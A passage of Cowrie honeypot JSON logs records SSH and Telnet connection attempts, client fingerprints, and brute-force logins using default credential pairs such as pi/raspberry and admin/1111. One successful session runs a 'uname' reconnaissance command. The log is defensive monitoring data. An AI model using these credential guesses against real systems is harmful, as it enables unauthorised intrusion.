istp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:51.101484Z","src_ip":"47.237.167.49","session":"40d6e3ab76f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48196,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec85afb551d","protocol":"ssh","message":"New connection: 45.156.87.204:48196 (159.203.135.109:22) [session: aec85afb551d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:51.601714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:51.619377Z","src_ip":"45.156.87.204","session":"aec85afb551d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:51.685473Z","src_ip":"45.156.87.204","session":"aec85afb551d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.55795073509216,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:51.857186Z","src_ip":"152.42.224.71","session":"4a871c2232d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:52.009544Z","src_ip":"45.156.87.204","session":"aec85afb551d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:53.095901Z","src_ip":"45.156.87.204","session":"aec85afb551d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.454503536224365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:55.222388Z","src_ip":"152.42.224.71","session":"d24a7af85b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47874,"dst_ip":"159.203.135.109","dst_port":22,"session":"04bbd44a9dd7","protocol":"ssh","message":"New connection: 45.156.87.204:47874 (159.203.135.109:22) [session: 04bbd44a9dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:55.253090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:55.257996Z","src_ip":"45.156.87.204","session":"04bbd44a9dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:55.341535Z","src_ip":"45.156.87.204","session":"04bbd44a9dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:55.589247Z","src_ip":"45.156.87.204","session":"04bbd44a9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:56.674608Z","src_ip":"45.156.87.204","session":"04bbd44a9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.7905867099762,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:58.564072Z","src_ip":"152.42.224.71","session":"b2888def4fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47880,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6012b79168","protocol":"ssh","message":"New connection: 45.156.87.204:47880 (159.203.135.109:22) [session: 5a6012b79168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:59.114433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:59.130620Z","src_ip":"45.156.87.204","session":"5a6012b79168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:59.205573Z","src_ip":"45.156.87.204","session":"5a6012b79168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:59.523627Z","src_ip":"45.156.87.204","session":"5a6012b79168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56579,"dst_ip":"10.17.0.5","dst_port":22,"session":"824c61c83089","protocol":"ssh","message":"New connection: 152.42.212.128:56579 (10.17.0.5:22) [session: 824c61c83089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:00.127731Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:00.133235Z","src_ip":"152.42.212.128","session":"824c61c83089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:00.137387Z","src_ip":"152.42.212.128","session":"824c61c83089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:00.609448Z","src_ip":"45.156.87.204","session":"5a6012b79168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a28b234f108","protocol":"ssh","message":"New connection: 45.156.87.204:43396 (159.203.135.109:22) [session: 4a28b234f108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:02.588577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:02.593604Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:02.691006Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41774,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da28aae4297","protocol":"telnet","message":"New connection: 152.42.224.71:41774 (10.17.0.5:23) [session: 2da28aae4297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:02.904429Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:02.952787Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:03.188056Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:03.193016Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:03.295740Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:03.302977Z","src_ip":"45.156.87.204","session":"4a28b234f108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"2095bc686649","protocol":"ssh","message":"New connection: 103.149.170.125:53206 (10.17.0.5:22) [session: 2095bc686649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:04.162265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:04.167377Z","src_ip":"103.149.170.125","session":"2095bc686649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:04.435849Z","src_ip":"103.149.170.125","session":"2095bc686649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:04.796430Z","src_ip":"47.237.167.49","session":"40d6e3ab76f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":50932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3998d5f705c","protocol":"ssh","message":"New connection: 119.28.114.76:50932 (159.203.135.109:22) [session: e3998d5f705c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:05.178346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:05.187403Z","src_ip":"119.28.114.76","session":"e3998d5f705c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"status","message":"login attempt [root/status] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:05.226875Z","src_ip":"103.149.170.125","session":"2095bc686649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:05.424253Z","src_ip":"119.28.114.76","session":"e3998d5f705c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.7","message":"Connection lost after 22.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.032448Z","src_ip":"47.237.167.49","session":"40d6e3ab76f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43412,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b6784ccd6bf","protocol":"ssh","message":"New connection: 45.156.87.204:43412 (159.203.135.109:22) [session: 8b6784ccd6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.316761Z"}
{"eventid":"cowrie.login.failed","username":"mike","password":"123456","message":"login attempt [mike/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.399920Z","src_ip":"119.28.114.76","session":"e3998d5f705c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.490637Z","src_ip":"103.149.170.125","session":"2095bc686649","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.495555Z","src_ip":"45.156.87.204","session":"8b6784ccd6bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.500926Z","src_ip":"45.156.87.204","session":"8b6784ccd6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.2550208568573,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.649278Z","src_ip":"152.42.224.71","session":"2ee0532e1855","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:06.943657Z","src_ip":"45.156.87.204","session":"8b6784ccd6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:07.639691Z","src_ip":"119.28.114.76","session":"e3998d5f705c","protocol":"ssh"}
